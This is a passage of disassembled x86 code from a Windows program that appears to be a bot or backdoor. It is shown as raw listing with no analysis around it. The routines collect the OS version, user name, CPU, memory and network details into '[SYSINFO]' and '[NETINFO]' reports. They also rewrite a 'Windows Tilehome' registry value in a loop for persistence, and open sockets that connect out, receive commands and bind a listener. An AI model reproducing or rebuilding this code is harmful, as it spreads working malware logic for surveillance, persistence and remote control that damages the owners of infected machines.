var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438A10
		mov	[ebp+var_CC], 94h
		call	dword_41F0F8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_409448
		cmp	[ebp+var_C4], ebx
		jnz	short loc_409424
		cmp	[ebp+var_BC], 1
		jnz	short loc_40940E
		mov	[ebp+var_4], offset a95	; "95"


loc_40940E:				; CODE XREF: sub_4093C1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_4094C3
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_409494
; ---------------------------------------------------------------------------


loc_409424:				; CODE XREF: sub_4093C1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_409436
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409436:				; CODE XREF: sub_4093C1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_409484
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409448:				; CODE XREF: sub_4093C1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_409484
		cmp	[ebp+var_C4], ebx
		jnz	short loc_409462
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409462:				; CODE XREF: sub_4093C1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_409474
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409474:				; CODE XREF: sub_4093C1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40948B


loc_409484:				; CODE XREF: sub_4093C1+7Cj
					; sub_4093C1+8Ej
		mov	[ebp+var_4], offset dword_428AD0


loc_40948B:				; CODE XREF: sub_4093C1+73j
					; sub_4093C1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_4094C3


loc_409494:				; CODE XREF: sub_4093C1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_4094C3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_428AC8
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_4094C3:				; CODE XREF: sub_4093C1+54j
					; sub_4093C1+D1j ...
		mov	ax, word_428AC4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_44CBD8
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4094FC
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_4094FC:				; CODE XREF: sub_4093C1+12Cj
		push	[ebp+arg_4]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_44CC98	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_409525
		push	dword ptr [eax]
		jmp	short loc_40952A
; ---------------------------------------------------------------------------


loc_409525:				; CODE XREF: sub_4093C1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40952A:				; CODE XREF: sub_4093C1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_413812
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_41F068	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_41F064	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_41F000	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_415628
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40AA37
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_4092A2
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40930B
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	0FFh
		push	[ebp+arg_0]
		call	sub_413D8A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4093C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409675	proc near		; CODE XREF: sub_40CC09+4048p
					; sub_40CC09+4FC8p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		cmp	dword_44CDC0, 0
		jnz	short loc_4096E9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_44CBC0	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_4096CA
		lea	eax, [ebp+var_8C]
		push	offset dword_428B44
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_4096CA:				; CODE XREF: sub_409675+40j
		test	[ebp+var_C], 1
		jz	short loc_4096E2
		push	offset dword_428B3C


loc_4096D5:				; CODE XREF: sub_409675+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_409708
; ---------------------------------------------------------------------------


loc_4096E2:				; CODE XREF: sub_409675+59j
		push	offset off_428B38
		jmp	short loc_4096D5
; ---------------------------------------------------------------------------


loc_4096E9:				; CODE XREF: sub_409675+28j
		mov	esi, offset off_428B34
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_413812
		add	esp, 10h


loc_409708:				; CODE XREF: sub_409675+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	0FFh
		push	[ebp+arg_0]
		call	sub_413D8A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_409675	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40973B	proc near		; CODE XREF: sub_40CC09+3F7Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4514A8
		mov	edi, 0B8h


loc_40974F:				; CODE XREF: sub_40973B+33j
		cmp	byte ptr [esi],	0
		jz	short loc_409772
		push	[ebp+arg_0]
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409772
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_452028
		jl	short loc_40974F
		jmp	short loc_4097B4
; ---------------------------------------------------------------------------


loc_409772:				; CODE XREF: sub_40973B+17j
					; sub_40973B+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4514A8[esi]
		push	ebx
		call	sub_413890
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_415140
		push	9Fh
		lea	eax, dword_4514C0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_415140
		add	esp, 24h
		inc	dword_42C948
		pop	ebx


loc_4097B4:				; CODE XREF: sub_40973B+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40973B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097BB	proc near		; CODE XREF: sub_40CC09+5103p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_428B60
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4514A8


loc_4097E5:				; CODE XREF: sub_4097BB+72j
		cmp	byte ptr [esi],	0
		jz	short loc_409820
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_428B54
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	sub_413D8A
		push	1
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 2Ch


loc_409820:				; CODE XREF: sub_4097BB+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_452028
		jl	short loc_4097E5
		pop	edi
		pop	esi
		leave
		retn
sub_4097BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409833	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_41F100	; GetLocalTime
		mov	ebx, offset dword_450FA4
		mov	edi, 80h
		mov	esi, offset dword_44CFA4


loc_409855:				; CODE XREF: sub_409833+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40986C
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_415140
		add	esp, 0Ch


loc_40986C:				; CODE XREF: sub_409833+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_409855
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_413D8A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098A7	proc near		; CODE XREF: sub_4069E1+15Bp
					; sub_406B69+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41576F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_409833
		add	esp, 14h
		leave
		retn
sub_4098A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098D3	proc near		; CODE XREF: sub_40CC09+4FFDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_44CFA4
		xor	ecx, ecx


loc_4098DA:				; CODE XREF: sub_4098D3+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_450FA4
		jl	short loc_4098DA
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_428B94
		jnz	short loc_40990A
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_40990A:				; CODE XREF: sub_4098D3+1Fj
		push	esi
		call	sub_409833
		pop	ecx
		pop	esi
		retn
sub_4098D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409913	proc near		; DATA XREF: sub_40CC09+50ADo

var_21C		= byte ptr -21Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_409966
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_428BE8
		push	eax
		push	[ebp+var_11C]
		call	sub_40B2B5
		add	esp, 14h


loc_409966:				; CODE XREF: sub_409913+33j
		cmp	[ebp+var_98], 0
		jz	short loc_409986
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_409986
		mov	[ebp+var_8], eax


loc_409986:				; CODE XREF: sub_409913+5Aj
					; sub_409913+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_44CFA4


loc_40998F:				; CODE XREF: sub_409913+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_4099E9
		cmp	byte ptr [esi],	0
		jz	short loc_4099D8
		cmp	[ebp+var_98], 0
		jz	short loc_4099BE
		cmp	[ebp+var_4], 0
		jnz	short loc_4099BE
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40842E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4099D8


loc_4099BE:				; CODE XREF: sub_409913+90j
					; sub_409913+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40B2B5
		add	esp, 14h


loc_4099D8:				; CODE XREF: sub_409913+87j
					; sub_409913+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_450FA4
		jl	short loc_40998F


loc_4099E9:				; CODE XREF: sub_409913+82j
		lea	eax, [ebp+var_21C]
		push	offset dword_428BBC
		push	eax
		call	sub_413812
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_409A23
		push	esi
		lea	eax, [ebp+var_21C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40B2B5
		add	esp, 14h


loc_409A23:				; CODE XREF: sub_409913+EEj
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_409833
		push	[ebp+var_18]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_409913	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A42	proc near		; CODE XREF: sub_408701+1Ep
					; sub_409AB2+4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_428C18
		xor	esi, esi
		mov	ebx, offset aWindowsTilehom ; "Windows Tilehome"


loc_409A55:				; CODE XREF: sub_409A42+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_44CC94	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_409A8F
		push	[ebp+arg_0]
		call	sub_413E90
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_44CD00	; RegSetValueExA
		jmp	short loc_409A99
; ---------------------------------------------------------------------------


loc_409A8F:				; CODE XREF: sub_409A42+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_44CC54	; RegDeleteValueA


loc_409A99:				; CODE XREF: sub_409A42+4Bj
		push	[ebp+var_4]
		call	dword_44CCB8	; RegCloseKey
		add	edi, 8
		cmp	edi, offset unk_428C30
		jl	short loc_409A55
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409A42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB2	proc near		; CODE XREF: sub_409AB2+16j
					; DATA XREF: sub_40C2D0+4B7o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_409A42
		pop	ecx
		push	dword_428C10
		call	dword_41F050	; Sleep
		jmp	short sub_409AB2
sub_409AB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409ACA	proc near		; CODE XREF: sub_409B05+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_409AFF
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_409AE3:				; CODE XREF: sub_409ACA+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_41F254[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_409AE3
		pop	edi
		pop	ebx


loc_409AFF:				; CODE XREF: sub_409ACA+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_409ACA	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B05	proc near		; CODE XREF: sub_40A3AD+271p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_413F0B
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_414F8F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_409B54


loc_409B2A:				; CODE XREF: sub_409B05+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_409B58
		inc	ebx
		push	ebx
		push	esi
		call	sub_4157BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409B54
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_414E87
		add	esp, 10h
		jmp	short loc_409B2A
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409B05+23j
					; sub_409B05+39j
		xor	eax, eax
		jmp	short loc_409B73
; ---------------------------------------------------------------------------


loc_409B58:				; CODE XREF: sub_409B05+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_409ACA
		push	esi
		mov	ebx, eax
		call	sub_413F7F
		push	edi
		call	sub_414E31
		add	esp, 10h
		mov	eax, ebx


loc_409B73:				; CODE XREF: sub_409B05+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409B05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B77	proc near		; CODE XREF: sub_409BFD+33p
					; sub_40A160+BFp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_409BF3
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_44CD18	; inet_addr
		cmp	eax, esi
		jnz	short loc_409BD8
		push	[ebp+arg_0]
		call	dword_44CD5C	; gethostbyname
		test	eax, eax
		jz	short loc_409BF3
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_409BD8:				; CODE XREF: sub_409B77+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_44CC88	; connect
		cmp	eax, esi
		jnz	short loc_409BF7
		push	edi
		call	dword_44CD70	; closesocket


loc_409BF3:				; CODE XREF: sub_409B77+1Bj
					; sub_409B77+58j
		mov	eax, esi
		jmp	short loc_409BF9
; ---------------------------------------------------------------------------


loc_409BF7:				; CODE XREF: sub_409B77+73j
		mov	eax, edi


loc_409BF9:				; CODE XREF: sub_409B77+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_409B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BFD	proc near		; DATA XREF: sub_40CC09+A76o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_409B77
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_409C90
		lea	eax, [ebp+var_11B4]
		push	offset unk_428CB4
		push	eax
		call	sub_413812
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_409C73
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40B2B5
		add	esp, 14h


loc_409C73:				; CODE XREF: sub_409BFD+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_409833
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_409C90:				; CODE XREF: sub_409BFD+3Fj
		push	offset byte_438A10
		push	ebx
		call	sub_4090ED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_409CFB
		lea	eax, [ebp+var_11B4]
		push	offset unk_428C74
		push	eax
		call	sub_413812
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_409CD7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40B2B5
		add	esp, 14h


loc_409CD7:				; CODE XREF: sub_409BFD+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	ebx
		call	dword_44CD70	; closesocket
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_409CFB:				; CODE XREF: sub_409BFD+A3j
		push	64h
		call	dword_41F050	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_409D0A:				; CODE XREF: sub_409BFD+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_44CCF4	; recv
		test	eax, eax
		jle	short loc_409D67
		lea	eax, [ebp+var_11B4]
		push	offset asc_4253FC ; "\n"
		push	eax
		call	sub_414FC0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_408ED5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409D67
		push	64h
		call	dword_41F050	; Sleep
		push	7
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	short loc_409D0A


loc_409D67:				; CODE XREF: sub_409BFD+130j
					; sub_409BFD+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_428C30
		push	eax
		call	sub_413812
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_409D9A
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40B2B5
		add	esp, 14h


loc_409D9A:				; CODE XREF: sub_409BFD+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	ebx
		call	dword_44CD70	; closesocket
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread
sub_409BFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DBE	proc near		; DATA XREF: sub_40CC09+423Bo

var_904		= byte ptr -904h
var_504		= byte ptr -504h
var_400		= dword	ptr -400h
var_3FC		= dword	ptr -3FCh
var_2FC		= byte ptr -2FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 904h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_409E0C
		push	offset unk_428E48
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409E0C:				; CODE XREF: sub_409DBE+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_44CCDC	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_44CD08	; bind
		test	eax, eax
		jz	short loc_409E4A
		push	offset unk_428E10
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409E4A:				; CODE XREF: sub_409DBE+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_44CC84	; getsockname
		push	[ebp+var_2E]
